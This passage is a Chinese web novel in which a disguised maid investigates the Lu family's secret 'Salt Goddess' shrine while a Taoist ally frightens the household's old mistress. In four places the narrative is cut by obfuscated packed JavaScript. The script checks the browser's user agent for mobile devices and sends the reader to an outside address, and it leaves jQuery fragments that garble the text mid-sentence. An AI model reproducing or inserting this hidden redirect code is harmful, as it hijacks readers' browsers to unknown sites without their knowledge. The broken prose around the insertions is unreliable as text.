“夫人定会喜欢的。”那老人笑着，泛红的鼻头皱缩着，像只体型硕大的老鼠。 深吸一口气，晏回驱散到脑中纷杂的思绪，重新换上一副温柔驯顺的模样，准备迎接回房来小憩的大夫人。 房门被轻轻推开，丫鬟翠竹搀扶着大夫人走了进来。大夫人体态瘦削，弱不胜衣，可盛春季节，额上却是沁出了一层细汗，眉眼间也是恹恹的，似乎屋外绚烂夺目的春景与她毫无瓜葛一般。 “夫人。”晏回柔柔下拜。 “嗯。”大夫人崔氏依旧不咸不淡地从鼻腔中哼了一声，抬步向铺好的床榻走去。 晏回垂着眼帘，看着大夫人的绣鞋悠悠地踱了过来，突然脚步僵硬地滞住，长及脚面的裙摆簌簌颤了起来。 晏回疑惑地抬起头，却见大夫人双目圆睁，如同窥见世间最可怖之事物般，指着晏回，徒劳地开合着嘴。她似乎想要喊，但纤弱的脖颈箍住了那声尖叫，让她本就苍白的皮肤此刻惨白得泛青。 晏回警觉回身，身后空无一人，只有收拾得一尘不染的妆奁和开至浓时的忘忧草。莹黄的花瓣优美地舒展开来，凝着点点新鲜的水珠。 “夫人？”丫鬟翠竹也吓了一跳，慌忙上前搀扶。 崔氏颤抖着，终于尖锐地喊出声来：“哪儿……哪儿来的花！” ——花？ “回夫人，这是婢子在那娘娘庙前采的，婢子瞧着颜色好看，便——” 崔氏的眼神冷得骇人，她直挺挺地向着晏回走来，突然毫无征兆地抬起手，狠狠抽在晏回的脸上。 晏回下意识地攥住拳，压抑住自己想要格挡的冲动，硬生生地受了这一巴掌。同崔氏弱不经风的身子相比，这一巴掌实在是势大力沉，饶是自小习武的晏回，都被打得向一边偏去。晏回捂着脸，借势摔倒在地。 再抬起头，泪水已经夺眶而出。 “夫人饶命，婢子知错了，夫人饶命！” 崔氏毫不在意地上求饶的晏回，冲到妆奁前，猛地将插着忘忧草的瓷瓶打翻在地。瓷瓶应声而碎，迸溅的水花不偏不倚地招呼在晏回身上，让本就泪流满面的女子愈发狼狈。 做完这一切，崔氏仿佛被人抽走了魂魄一般，身子晃了晃，踉踉跄跄的摔在床上。看她的脸色，也不比惊恐交加的晏回好到哪儿去。 只听崔氏的牙齿发出“咯咯”地磕碰声，半晌挤出一个字：“滚……” 晏回只是慌乱地哭，似乎彻底失了方寸。 丫鬟翠竹赶上来一脚揣在晏回腿上，声音发颤道：“聋了！？夫人让你滚啊！” 晏回这才如梦方醒，连滚带爬地奔出房去，还不忘敛走那束委顿在地的忘忧草。 只见晏回狼狈地冲出房门，却在拐过游廊的瞬间挺直了脊背。指尖抹过唇角的血迹，在指腹上氤氲出一朵夺目的红。 一声冷嗤随之绽开，晏回凝着手中的花束，轻声道：“忘忧草……何以忘忧，你在怕什么呀大夫人……” * * * 是夜。 子时的梆子刚过，西院角门便吱呀推开了一道缝。 先是一提灯笼摇摇晃晃地探了出来，紧接着，小顺子便打着哈欠挤出门来。傍晚吃多了酒，下腹□□，他一边走一边单手解着裤腰，着急寻茅厕去。即便是憋得踩着碎步直跺脚，小顺子还硬是绕开了娘娘庙旁侧的茅房，往东墙根歪歪扭扭蹭去。 夜风卷着灯笼纸哗啦一响，他缩脖啐了口痰，全然未觉脑袋顶的飞檐上伏着一个沉默的暗影。 不多时，小顺子叹了口气，紧接着哗啦啦的水声响起，那檐上的影子却随之活了起来。月轮恰在此时攀上中天，只来得及照亮那人影弓身提气的瞬息，那窄长的剪影被拓在对面的墙上，倏然而逝。 待小顺子系好裤带，回转过头，檐上早已空无一人。 不消说，方才隐在飞檐之上的正是穿着夜行衣的晏回。和小顺子的狭路相逢，让她耽搁了些时间，待到达约定的大树下时，只看到原地插着的三炷香，并不见人。 晏回也不急，背着手在树下站定。不出所料地，下一瞬，高大的树冠上便传来悠然的男声。 “今夜有酒有月亦有风，姑娘可愿与贫道小酌几杯？” “范凌舟，我只有一炷香的时间。”晏回冷冷道。 话音才落，树冠上便哗啦一阵响，一个白晃晃的身影便如俯冲而下的大鸟一般稳稳落地。映入眼帘的，是长生观观主范凌舟笑眯眯的眉眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184804|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “莫急嘛——” 看着他那一身张扬的白袍素冠，在墨色的夜里仿佛混入大米的红豆般明显，晏回握拳了数次，方能克制住自己长叹一声的冲动。 等范凌舟收敛起那副嬉皮笑脸，晏回施施然开口，将自己在鲁府数日来的见闻尽数相告。为了防止节外生枝，她刻意隐去了自己与大夫人崔氏发生的冲突，将之一带而过。范凌舟则撑着腮仔细听着，时不时发表些自己的见解。 “不用说，那娘娘庙里藏着大秘密。”范凌舟颇为笃定的总结道。 晏回点了点头，从怀中掏出一物，递给范凌舟：“这是我趁着那老人采花之时，从锁孔里拓的泥模。我的身份不太方便，探查之事便交予你吧！” 眼神中闪过一丝狡黠的笑意，范凌舟轻声道：“遵命。” “你那边安排得如何了？” “万事俱备，只欠——东风。” 晏回心里清楚，这范凌舟虽然表面上嘻嘻哈哈，可在任务上却从未失手，倒是那唐珠儿年纪尚轻，只怕分不清轻重缓急，便又道：“珠儿那边你要时不时叮嘱着些。” 见范凌舟点头应承，晏回还是不放心，又缀了一句：“来青州府的路上，她食多了春杏，近些日子，是不能再吃了。” 对自己只有区区九个字，尚凑不整十。可对那小班主倒是尽心孤诣，说了整整两句话呢！范凌舟砸吧了一下嘴：“西楼，我也食多了春杏，还——” 晏回知道，这范凌舟又要开始口无遮拦，便不再与他多言，转身欲走。 回身的刹那，月光割破云层，斜斜地劈了下来，映亮了晏回左颊上未消的指痕，连带着崔氏指甲刮出的血丝都纤毫毕现。 范凌舟唇角的笑纹瞬时冻住了。 晏回只觉手腕一紧，耳畔响起范凌舟凉凉的声音。 “还有人能伤得了你？” 同平时飞扬的尾音不同，范凌舟说得一字一顿，让人听着后背发寒。 晏回挣了两下没甩开，索性抬眸迎上他的视线：“鲁府大夫人。”她的语气平淡，不带丝毫的情绪。“算不得伤，就是指甲刮了一下。” “好，我记下了。” 难得正经的语气却让晏回起了警觉，敲打道：“范凌舟，任务重要。” 再看他时，道人又眯着眼睛笑了起来，可声音里却偏生没有笑意：“知道啦，贫道还能真打女人不成？” 晏回心中约莫着时间，知道这一炷香即将燃尽，已经没有空闲再跟范凌舟掰扯了。便再次严肃地扫量警示了他两眼，转身消失在林影深处。 范凌舟立在原地，半晌没有动弹，只是手指间摩挲着从钥匙孔里拓下来的泥模，差点儿将之碾碎。 5. 盐娘娘（五） 还未翻进院墙，晏回心中就暗道不好。出来之时就觉得天气阴冷憋闷，罕有月色，这刚刚一炷香的时间，竟是下起雨来。 雨帘里的身影只是一个纵跃，便消失在院墙笼罩出的暗色之中。 下人的房间较之主人的卧房低矮逼仄，两张小榻对向而放，对面的翠竹睡得正香。窗格被缓缓推开，晏回轻手轻脚地翻进屋来，吹灭了尚在燃烧的安魂香。线香只剩下一点尾巴，马上就要没在隆起的香灰里。 还好，正巧一炷香的时间。 晏回脱去身上的夜行衣，妥善藏好，垂头看向自己内着的里衣。饶是她敏捷过人，可里衣还是受了潮，此刻黏在身上被夜风一吹，湿冷难耐，她刚准备将里衣换下，天空中轰地崩开一声炸雷！ 这春雷憋了一整个冬天，此刻骤然解放，声音大得响天彻地，肆意畅快，只觉地面都跟着摇了三摇。对面的翠竹被这声惊雷骇得猛地坐起身来，迷糊地左右瞧了瞧，嘟囔道：“哪里放炮了吗？” 朦胧的睡眼瞥到正坐在床上的晏回，脸色登时不好看起来，使唤道：“傻坐着干什么，还不快把窗户掩好！” 晏回也佯装被惊雷震醒，喏喏称是，脸色惨白地站起来关窗户。 只听身后的翠竹尤不罢休地训斥着：“真是……呆头呆脑的……”紧接着，皮肤与锦被的摩擦声响起，晏回不用回头，便知道翠竹又蒙头盖脸地会周公去了。 驯顺地掩好了窗户，晏回看了一眼翠竹床上高高隆起的被褥，眸中闪过一丝亮色。她没有回榻上休息，也没有换上一身干爽的衣裳，反而迎着冷雨，推门而出。 就在方才翠竹嘟囔咒骂的当口儿，她隐约听到了一声压抑惊恐的尖叫。那尖叫声传来的方向不是别处，正是大夫人的卧房！ 那大夫人平日里若冰雕雪砌的菩萨般寡言讷语，除了无忧草那次皆喜怒不形于色，此番失声尖叫，倒不失为借机刺探的好时机。 等到晏回着急忙慌地冲入大夫人的房间时，她单薄的里衣已经被雨水浇透了，没来得及穿好的鞋子圾拉着，鞋壳儿里汪着一层冷水，还跑掉了一只。披散着的长发一条一缕地贴在脸颊上，蜷曲在锁骨上，更衬得晏回的脸色惨白一片。 “夫人，你怎么了？” 缩在床榻上的大夫人崔氏形容狼狈，似乎比淋了夜雨的晏回还要凄惨上几分。只见她双目惶乱地大睁着，整个人蜷缩在床角，瘦削的双肩高高向上顶起，将纤弱的脖颈藏匿其中。她用双臂紧紧抱着腿，用力之大几乎要将自己折断。 寂静的夜里，除了屋外滂沱的雨声，便只剩下大夫人崔氏牙齿磕碰发出的“咔嗒”声。 “夫人！”晏回三步并作两步赶到床前，将锦被仔仔细细地披在崔氏的身上，用自己湿淋淋的手轻轻攥了一下大夫人崔氏的胳膊。 “夫人别怕，婢子在呢！” 崔氏凄惶地抬眸，魂不守舍地望了晏回一眼，瞳仁晃动间，隐约有着水光。她一言不发，床下的婢子也始终乖顺地站着，直到她感到锦被中的温度逐渐升高，直到那婢子脚下汇聚出了一汪小小的水洼。 崔氏终于开口了。 “翠竹呢……” 翠竹是她从娘家带过来的丫鬟，从小一起长大，平日里最是亲密。近些年来，她双耳不闻窗外事，只知吃斋念佛，与翠竹的交流也少了许多，但说到底，心里还是记挂信任的。 “翠竹姐睡得沉，婢子便没吵她。”晏回老老实实地应了，苍白的脸上泛起不健康的潮红，想来是冻着了。 “那你来作甚……”崔氏垂下双眸，声音又弱了几分。 “婢子担心夫人。”晏回道。 “你……不恨我？” 晏回用力摇了摇头，湿漉漉的发在空中甩出晶莹的水珠：“夫人惩罚婢子，是婢子的错，婢子不怨更不恨。” “婢子只希望……夫人能开心些……” 崔氏闻言抬头，从扎紧的锦被□□出两道灼灼的视线，紧盯在晏回的脸上，似乎在盘问着什么，验证着什么。晏回不辩解，亦不闪躲，只是乖巧地立着，满脸都是任人宰割的温顺，如同一只暴雨中迷失的鹿。 良久，崔氏长叹一声，声音轻而又轻：“这与你无干……你回去吧。” 此时，晏回身上的里衣已经被夜风吹得半干了，屋外的雨势渐弱，微薄的月色如同包袱皮儿中隐约可见的一锭银子，影影绰绰。她伺候崔氏饮了两口热茶水，又袅袅婷婷地对崔氏行了个礼，方才冒着雨往回走。 她能感受到，崔氏那凄惶闪动的目光，始终扎在她的背上。 * * * 第二日。 经历了一整夜的大雨，空气里的土腥气被冲刷得干干净净，只余鼻尖若有似无的青草香。晏回搬了个木盆，借着水缸中积攒的雨水，洗着衣服。 “唰啦，唰啦”，有节奏的搓衣声在院儿中回荡，而在这声音的掩盖之下，一双装饰华美的如意云头履踏进院来。 晏回没有抬头，只作浑然不知之态。清晨的阳光斜斜地洒下来，映亮了她低垂的侧脸，以及脸颊上淡淡的指痕，如同倏然绽开的五瓣桃花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184805|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晏姑娘，这两日住得可还习惯？” 晏回应声抬头，正撞进低头询问的鲁秉添的视野里。初见惊艳，再见亦然，鲁秉添不由眸光一亮。 见是自家老爷探问，晏回忙羞赧地站起身，施了一礼，将湿漉漉的双手藏在身后，声音轻柔地应着：“托老爷的福，婢子也算有了立锥之地，婢子心中感激不尽。” 鲁秉添的鼻腔中满意地哼出一口气，细长的眸子不断地在晏回周身逡巡。很难说清，这个女子身上到底有什么不断吸引着他。鲁秉添也算是阅女无数，除去夫人崔氏不说，先前的四位小妾也个个貌美如花，各有千秋。可这个晏回姑娘，却终究不同。 那柔弱秀丽的外表之下，有着让人捉摸不透的滋味与风情，引得他不住去探寻。 鲁秉添向前逼上一步，将女子笼罩在他身体形成的阴影之下，呼吸沉重：“我听小顺子说，你昨日在夫人房里受了委屈？这指痕……”绵软的手指虚虚拂过晏回的颊边，“倒像是扫多了胭脂，艳丽得很。” 晏回不着痕迹地侧身避开，顺势捞起木盆里洗好的衣裙，“老爷说笑了，夫人待婢子宽厚，是婢子愚钝，打翻了夫人的花瓶”，她将湿衣拧成绞绳，水珠滴滴答答砸进木盆，如同昨夜淋漓不尽的春雨，“原该受罚的。” 鲁秉添的喉结滚动数下，贪婪的视线顺着晏回挽起的袖口向上攀爬，“宽厚？我是知道她的，若当真宽厚，早该抬举你进房里伺候，”肥腻的手掌不安分地抚上了晏回的后腰，“何苦教你在此浣衣呢？” “咣当”一声，晏回受惊的猫儿般跳到一旁，冷不防踢翻了木盆，盆中的余水畅快流淌，逼得鲁秉添不得不后撤躲水。而晏回怀里抱着半干不湿的衣裙，告罪不迭：“老爷……婢子命薄，能替夫人分忧已是造化，不敢肖想其他……还望老爷，恕罪……” 略一抬眸，眼尾胭红，已是隐约含泪，让鲁秉添看得心头一颤，再反应过来，晏回早已揽着木盆跑出了老远。 鲁秉添不安分的手还擎在半空，怀中却再无温香软玉，不由脸上讪讪，口中嘟囔道：“倒是个有规矩的……” 虽是勾搭不成，可鲁秉添知道，既是入了他家的宅子，俯身屈就便是迟早的事儿，不在乎这一朝一夕。更何况，好摘的花儿反而不香，偏是这晏回姑娘，不卑不亢，有礼有节，反倒多出些意想不到的兴味。 鲁秉添意犹未尽地砸吧了一下嘴唇，哼着小曲儿，转身踏出院去。他并未注意到，在月亮门的阴影处，有一双阴森的视线，冷冷射了过来，将方才的插曲看了个真切。 6. 盐娘娘（六） 因着昨夜的暴风骤雨，大夫人崔氏睡得极不安稳，早上便醒得迟了些。谁知，才刚睁眼，便被自家婆母，鲁秉添的母亲——邵老夫人叫到堂前训话。 丫鬟将崔氏引到后堂，才方站定，就对上邵老夫人那一双阴恻恻的眸子。 崔氏老老实实地垂下眼帘，在老夫人严苛的目光里施了一礼：“娘。” 邵老夫人端坐在紫檀圈椅中，枯瘦的手腕虚虚地搭在扶手上，装若无意地朝着崔氏点了点：“崔玉容，你房里的人，该管管了。” 崔氏面上波澜不惊，对于自家婆母的强势，她早已见怪不怪。 “娘教训的是。” “天天只知道喏喏称是，怎么不问问我说的是谁？”邵老夫人道。 崔氏终于缓缓抬起了头，昨夜的惊惧似乎还没有从她的眼中散去，让她苍白的脸色愈显病态，隐隐泛着青色。 “娘说的是……” “崔玉容，你也学会装糊涂了？”邵老夫人冷笑一声，放下手中的茶盏在案几上重重一磕，“你房里新收的叫花子，长着一副狐媚脸，日日在老爷跟前儿晃悠，你当我是瞎的？”她眼风如刀，直刺向崔氏，“什么阿猫阿狗都敢往老爷身边凑，你这主母当得，越发没个章法！” 崔氏指尖在袖中微微一蜷，心里只觉咯噔一声。她万没料到老夫人点的是初来乍到的晏回，她沉默半晌，方开口道：“新婢不识路，冲撞了老爷，是妾管教不疏。” “不识路？”老夫人的唇角向下重重一扯，讥诮道：“我记得，当年那个楚怜，也是这般说辞。可最后呢，不还是叫盐娘娘收了去？” 崔氏下颌骤然收紧，喉间滚了滚，却仍垂眸盯着青砖缝隙：“那婢子老实，又是佃农出身，不敢作此非分之想。” “希望如此”，崔氏只觉头顶盘旋的声音愈发近了，老夫人倾着身子，目光死死扎在崔氏的脸上，“你要知道，盐娘娘可瞧着呢！” 崔氏膝盖一软，攥紧了手中的佛珠，强迫自己将脊背挺直。昨夜的雨水似乎轰然又至，女子湿漉漉的安慰声言犹在耳。 ——夫人别怕！ ——婢子只希望……夫人能开心些…… 崔氏吐出一口气，缓缓道：“还望娘……容妾几日，再教她些规矩。” 回应她的，是高悬于头顶的一声冷哼。 * * * 与崔氏的隐忍沉默不同，邵老夫人发完满肚子的邪火，便坐着轿子去了城西的宁国寺。 自鲁府发迹以来，宁国寺吃了不少好处，受了几多香火，对邵老夫人的驾临自然是前呼后拥，殷勤备至。且不说住持在寺门口恭候亲迎，便是喝茶歇脚的厢房都熏上了沉水香，不敢有丝毫的怠慢。 寺里僧众的谄媚，便如沸水蒸腾出的热气，将邵老夫人心中的隐忧缓缓抚平。自宁国寺出来，老夫人脸上的褶皱都轻了些许，眉眼里也见了笑。 随行的丫鬟小厮也皆是有眼眉的，锦上添花地捧道：“老夫人，婢子方才瞧着，您放生的那几尾锦鲤，鳞片金灿灿的，一甩尾巴都耀人眼睛呢！” 小顺子笑道：“桃儿姐姐这便露怯了，那鳞片哪只是金灿灿，那明明是带着佛光呢！连住持都说，咱老夫人菩萨心肠，怕是西天的神仙转世，来这凡尘救苦救难呢！” 邵老夫人抬起手，在小顺子的后脑上轻轻一拍：“就你这猴儿嘴甜！” 小顺子赶紧眯眼笑着受了，嘴上不住道：“那还不是当年在老夫人座下吃多了蟠桃，这事儿得怪老夫人呢！” 此话一出，上到老夫人，下至一干婢女，都笑得合不拢嘴，小顺子自是得意，连最难伺候的老夫人都能让自己逗得前仰后合，鲁府上下，岂不尽由自己拿捏？正想着，却听墙根处传来一声嗤笑。 人在兴头上，最恨的便是泼冷水之人。小顺子猛地转头，向墙根处立着的人影怒目而视，众人便也随着他的目光瞧了去。 只见那墙隅的阴影里走出来一年轻道人，白袍素观，如鹤翔云端，唯拂尘上隐约一点鲜红，白梅凌雪一般，施施然挡在众人身前。 “无量天尊。”范凌舟悠悠道。 “你这道士，好生无礼！”邵老夫人的贴身丫鬟桃儿指着范凌舟的鼻子正准备开骂，却见对方长得眉雅眸秀，温润如玉，当下哑了口，敛了脾气，在老夫人身旁端庄立着。 小顺子最是讨厌这种白面小生，见桃儿不顶用，便接口斥道：“说你呢！笑什么！老夫人的身份也是你这泼皮道士能冲撞得了的！” 范凌舟也不恼，低眉浅笑道：“贫道笑诸位，大难临头却不自知啊——” 他拉长了尾音，既像喟然，又似叹息。 邵老夫人一向尊佛重道，面上并没有露出不悦之色。她细细打量了一下面前的道人，极是面生，想来并不是寿光周边道观中人。再加上他明明是道家中人，却横行无忌地立在佛教的寺庙门口，想必是不知哪里流落而来的混家子，当下也不与范凌舟计较，对桃儿使了个眼色。 桃儿心下了然，从袖中掏出几枚铜板，走到范凌舟面前，小心翼翼地抬眸瞄了一眼，轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184806|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“还请道长让路，到别处结善缘吧！” 铜板落下，范凌舟却略略向后撤了一步，“当啷啷”数声，铜板尽数坠地。 “道长你……”桃儿也着了恼。不料，范凌舟并不理会，而是径直朝邵老夫人走去。 见那范凌舟蹬鼻子上脸，小顺子哪里肯依，一个箭步上前，张开双臂就要推搡，口中怒喝道：“你这牛鼻子，放肆——”话音未落，只见那虚虚搭在臂上的拂尘轻飘飘一抬，雪白的尘尾便如蟒似蛇般缠上了小顺子的手腕。 小顺子只觉一阵巨力，拉扯着他踉跄向后跌去，狠狠撞在轿杠上，一口气儿差点儿没上来，哪还有反抗的力气，只能扶着胸口艾艾叫唤。 这一推一扯之间，范凌舟已经直逼老夫人身前。他微微俯身，声音压得极低，每一字每一句却精准地传入邵老夫人耳中：“老夫人，贵府进了妖孽，此孽以血为巢、以怨为骨，如今已化出人形，藏于府中水脉之间……” 他直直地看向老夫人隐含恐惧的双眸，露出了一个让对方毛骨悚然的笑容：“只怕贵府的盐娘娘都震慑不住呢……” 邵老夫人自问，盐娘娘的秘密被自己隐藏得极好，世人只知盐娘娘去母留子之表象，可其中秘辛除了屈指可数的几人外，并不为外人道也。那这面生的道人，又是如何知晓？ 亦或者，是自己太过敏感，高估了这道人？ 可若并非如此，这水脉一事…… 邵老夫人的心头翻起惊涛骇浪，只见眼前白光一闪，那拂尘悠然一挥，仿佛驱散了最后一丝迷雾：“老夫人，孽障未消，贫道自当再来拜会。” 范凌舟展袖挥臂，再无留恋，转身离去，空中唯余悠扬的道号声：“无量天尊——” 众人尽皆瞠目，凝着范凌舟雪白的背影，半晌无言。 “胡……胡言乱语！”待范凌舟的背影都瞧不见了，老夫人方才爆发出一声劈了叉的尖锐叫喊，“起轿！回府！快！” 在老夫人一叠声地催促下，轿夫手忙脚乱地抬起轿子。老夫人蜷缩着跌进轿内，帘子“唰”地一声落下，隔绝了她因为恐惧而皱缩在一处的脸。轿子如逃命般仓皇转向，徒留那一地散落的铜钱。 那邵老夫人并不知道，昨日夜里，那面生的道人悄无声息地翻墙越脊，轻手轻脚地打开了那小庙紧闭的木门。 惨白的月光割破云层，倒灌而入，将庙中的物什照得通亮。 范凌舟的眸子倏地睁大，口中喃喃道：“难道……” 庙中唯一神龛，一枯井而已。 7. 盐娘娘（七） 鲁秉添刚一入堂就觉得气氛不对，自家母亲双目无神地坐在堂上，膝盖向下的衣裙簌簌颤动着。 鲁秉添心中诧怪，温声问道：“娘，您脸色怎的这般难看？可是昨夜里……” 话才说到一半，邵老夫人便一把抓住了鲁秉添的手腕，力气之大让鲁秉添心头一惊：“添儿！你可有日日叩拜盐娘娘？一炷香、三叩首，半刻都不敢耽误？” 鲁秉添被抓握得疼了，下意识地向后撤了一下手：“您吩咐的事，儿子一时一刻未敢忘怀。” “那……那盐井呢？”邵老夫人压低了声音，浑浊的眼珠神经质地转动着。 “自是日日让下人打理着，卤水……” “不是那一口，是庙中的……庙中的那一口！” 被母亲接二连三地打断了话头，鲁秉添脸色略有不悦，他不知道母亲今日回来怎地跟着了魔似的，明里暗里地打听盐井之事。他好歹也是有了功名之人，还能连这点小事都处理不好吗？ “母亲只管放心，儿子知道轻重，断不会落人口实。”他在邵老夫人颤抖的胳膊上轻轻拍了拍，“您定是昨夜雷雨惊了魂，今日又进香累着了——” “来人，添茶。”鲁秉添极怕母亲的絮絮叨叨，见邵老夫人又欲开口，赶紧借口添茶，堵上她的嘴。 一双绣鞋刚踏进房里，鲁秉添便觉得心头的烦扰烟消云散了。只见晏回素首低垂，端着漆盘走了进来，素白的手指衬着乌木盘沿，像极了雪地里落了两瓣新梅。 鲁秉添的目光登时粘了上去，从光洁的面庞到修长的脖颈，一路向下，最终凝在纤细的腰肢，心中暗道：到底是没生过崽子的年轻身子，鲜嫩得要命…… 相较于崔玉容的枯槁，楚怜的臃肿，晏回那春日抽芽的柳条般的身姿，让鲁秉添恍了神，早已顾不得母亲尚在堂上，待晏回俯身为他续茶时，指尖“不经意”擦过她的手背。 晏回腕子一颤，滚烫的茶水泼出几滴，溅在鲁秉添袖口。 晏回慌忙跪倒：“奴婢该死！” 那茶水只是略略湿了衣裳，倒不曾烫到鲁秉添。再加上鲁秉添早已被迷得三魂没了七魄，又如何会生气，笑着道：“无妨无妨，一件衣裳罢了，终究不如美人娇贵。” 晏回俏脸一红，施了一礼便去堂外候着了。 珠帘轻响，玉人移步，鲁秉添的目光却还是舍不得挪开，直到邵老夫人气恼地干咳起来，鲁秉添才讪讪笑着道：“让娘见笑了。” 邵老夫人却没有鲁秉添的闲情雅致，相反，一种难以遏制的愤怒与不安涌上心头，她死死盯着那晃动的珠帘，咬牙切齿道：“果然是妖孽，定是她无疑了！”她转而看向鲁秉添，目光殷切，仿佛无比期待对方肯定的答复，“添儿，你瞧见了吗，那双眼睛，不安分得紧，活脱脱就是当年楚——” “娘！”鲁秉添颇有些不耐烦地笑了，“一个粗使丫头罢了，您何苦草木皆兵？”他摩挲着袖口茶渍，沉吟道，“儿子瞧着她稀罕……想抬举她做个姨娘，总强过在那崔氏屋里头受磋磨。” 他语气笃定，丝毫没有商量的意思，倒像是自然而然决定了一般。 “我不允！”邵老夫人勃然大怒，茶盏震得哐当作响，“买她时就不曾与我商量，如今竟要纳这来历不明的——” 回答她的，是那霍然而起的阴鸷影子：“娘，不过是纳个婢子而已，儿子自己还做不得主吗？” 看着鲁秉添毫无笑意的眸子，邵老夫人如鲠在喉，半晌没倒过气儿来。等她颤抖着出声，鲁秉添早已拂袖而去，不见人影了。 老夫人怔怔地坐着，只觉得满耳皆是珠帘晃动之声，良久方出言唤道：“桃儿……”声音恹恹，仿佛丢了魂魄一般，“去……去寻那道人。” 桃儿在邵老夫人催命般地催促声中，赶回了宁国寺，却遍寻不到晌午那白袍道人。就在她垂头丧气，准备回府复命之时，一位卖糖墩儿的小贩拦住了她，递给她一份简帖。桃儿火急火燎地展开一看，上书龙飞凤舞的数个大字： 若诚心一叙，且向猫儿胡同寻。——清水道人 邵老夫人经历了上午和儿子的龃龉，打心眼儿里认定了晏回就是道人口中的妖孽，此刻见那道人肯出手，哪还有二话，拽着桃儿和小顺子急急出了门，直奔猫儿胡同而去。 * * * 猫儿胡同位于寿光城的西面，是一道冗长阴暗的小巷子，因夜夜有野猫嚎叫而得名。青石板路被经年的污垢浸透，踩上去黏腻湿滑，两侧歪斜的木楼被挤得不见天光，以一种诡异的角度向着路面倾倒下来。行人走在其间，总会下意识抬头，似乎走进了野兽的喉管深处。 能在猫儿胡同存下的店面绝大多数做着见不得光的营生，久而久之，猫儿胡同成了阴沟鼠蚁的聚集地，达官显贵避之不及的腌臜渊薮，就连巡城的兵丁都只敢举着火把在外围虚晃一圈。 而像邵老夫人这般娇生贵养的官宦太太，又何曾见过这等场面。她唯有裹紧身上的织金斗篷，搀扶着桃儿的手臂瑟瑟发抖。小顺子将两位女眷护在身后，抻长了脖子左右探看着，像极了一只受惊的鹅。 “老夫人，这里……这里是什么地方啊！”桃儿紧着嗓子，用气声询问着。 邵老夫人本就气闷，压低声音怒斥道：“你问我我问谁，不是你带回来的简帖吗！”老夫人浑浊地眼珠扫量着阴暗的街道，哪里有那白色的身影呢？ “莫不是那妖道诓骗于我……”话说到一半，老夫人的目光突然直直钉在一面低矮的墙上，连呼吸都暂停了。 “小顺子”，邵老夫人急急唤道，“去，把那墙上的告示给我揭下来！” 小顺子顺着老夫人指示的方向看去，呼吸也不由得一滞，踏过沤了连日雨水的石板路，揭下了矮墙上贴的告示。背后的浆糊尚软糯，似乎是才贴上不久。那是一张簇新的悬寻，四指宽的桑皮纸， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184807|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨迹淋漓—— 悬寻 万历十二年四月十五申时，于城隍庙戏台遗落槐木傀儡人偶一尊。 此偶高七寸，通体以雷击老槐木雕成，面容殊异。杏核目，猫眼瞳，薄唇含珠（形如图示）。 轻触后颈三寸，人偶眸转唇动，喉间簧片作断续呜咽声。 若有仁人君子拾得，请送猫儿胡同三道巷朱漆矮门。 酬纹银五十两，生死勿论。 失主 玉梨班小班主具 悬寻帖的下方有一张绘制精细的白描，正是那遗失人偶的肖像。那傀儡人偶有着一张柔弱苍白的脸，狭长的睫毛簇着一双猫眼石般浅淡的眸子，眸下寸许泛着淡淡的青色，恍若烟气一般。 老夫人捏着悬寻帖的手已经开始抖了，一张熟悉的脸不断地在脑海中翻涌。 晏回——定然是那妖女！ “这……这不就是老爷新买回来那个……”桃儿惊叫出声。 小顺子赶紧挥舞手臂，示意她噤声，压低声音道：“这没凭没据的，可不能瞎说啊桃儿姐！” “我哪有瞎说，明明就是一模一样！” “闭嘴！”一直沉默不语的老夫人突然斥道，她颤颤巍巍地指着悬寻上的字，哆嗦道：“都什么时候了还在这儿斗嘴皮子！你们都睁大眼睛瞧瞧——生死勿论，就是说只要能寻回这具人偶，不论生死，都能得到那五十两赏银。” 桃儿心头疑惑，只当老夫人也惦记那五十两赏银，正欲开口，却忽地一怔，明白了老夫人刻意点出这四个字的原因，不觉起了一身鸡皮疙瘩。 是了，一个人偶，本就是死物，为何要说“生死勿论”呢？难道……这人偶和老爷买回来的婢子并不仅仅是长得一模一样，而是压根就是一个人！？那婢子……就是这槐木人偶傀儡化成的妖物！ 